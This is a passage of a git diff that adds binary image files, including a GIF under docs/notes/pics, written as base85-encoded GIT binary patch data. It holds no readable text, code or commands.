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

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/11548743193273.gif b/docs/notes/pics/11548743193273.gif
new file mode 100644
index 0000000000000000000000000000000000000000..bbb9b15ff822a270e216bb98210ed84407b87f17
GIT binary patch
literal 9216
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
